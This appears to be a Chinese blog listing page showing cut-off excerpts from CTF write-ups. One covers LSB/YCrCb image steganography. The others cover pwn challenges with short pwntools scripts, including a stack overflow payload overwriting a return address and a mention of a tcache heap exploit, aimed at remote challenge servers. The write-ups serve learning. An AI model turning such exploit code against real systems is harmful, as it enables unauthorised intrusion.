774字2 分钟

# Misc # YUSA 的小秘密 附件下载 题目描述：LSB，但又不是 LSB，众所周知不止 RGB... 直接用 stegsolve 打开有两个通道能直接看到 flag，可是噪点实在太多了. 联想到题目描述，开始查找资料. 可以参考 Bytectf2020 的 Misc: Hardcore Watermark 01 这道题 图片中每个像素可以通过三个通道来表示，常见的是 R (red) G (green) B (blue) 模式。而本题用到的通道是 YCrCb。 通过 cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb) 对 img 图片数据进行色彩
3.5k字8 分钟

# pwn1 都说了是测试 nc 了，连上就直接可以拿到 flag # pwn2 给我们个 password，你再传回去就完了 关键是要仔细读题，看仔细到底哪些是 password from pwn import *r=remote("219.219.61.234",6666 )print(r.recvuntil(b'*\n').decode())p=r.recvuntil(b'\n')[:-1]print(bytes(p))r.sendline(bytes(p))r.interactive()# pwn3 ret2lib
5.5k字13 分钟

# spn(11.26) 附件下载 复现这道题的时候，我一开始用的是 0RAYS 的解法，大致是找 spn 的解密脚本，计算给出的 shell 的真实地址，然后用 tcache 打 shell，最后选 5 进 backdoor. 虽说是读懂了 0RAYS 的脚本，而且也算是进一步学习了一下 tcache 的机制， 然而我一番搜索，着实找不到好用的 spn 解密脚本，就只好另寻出路. 0RAY 的脚本放上： #!/usr/bin/python# -*- coding:utf-8 -*-from pwn import *import syscontext.log_l
7.3k字17 分钟

# PWN # pwn1 nc 连上 直接 cat flag # pwn2 经典栈溢出 from pwn import *#r=process("./pwn2")r=remote('1.15.81.218',10001)p=b'a' * 72 + p64(0x400596)r.sendline(p)r.interactive()直接传就行了... # pwn3 开了 NX 保护，没开金丝雀 有个 echo flag，感觉像是那么回事，实际上没用， 所以还是得通过 system 函数来搞 这里 s